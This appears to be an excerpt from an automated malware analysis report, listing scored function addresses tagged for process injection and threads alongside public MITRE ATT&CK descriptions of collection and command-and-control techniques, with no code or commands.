Function 06C4CD98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0288449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 028858F5 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Function 076C3100 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Function 06C4C709 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Function 076C7A24 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Function 076C8E48 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Function 06C4C710 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 06C4C573 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre